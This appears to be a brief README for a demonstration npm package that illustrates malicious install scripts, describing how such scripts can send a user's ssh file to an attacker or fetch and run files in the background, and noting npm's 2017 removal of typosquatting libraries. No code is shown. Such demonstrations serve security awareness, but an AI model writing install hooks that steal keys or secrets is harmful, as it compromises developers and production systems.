maybemaliciouspackage
is a malicious package that is used to demonstrate or test malicious install scripts. These scripts can send your local ssh file to an attacker, or download malicious files and run them in the background.
This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.
On August 1st, 2017 npm deprecated all malicious typosquatting libraries from this list.
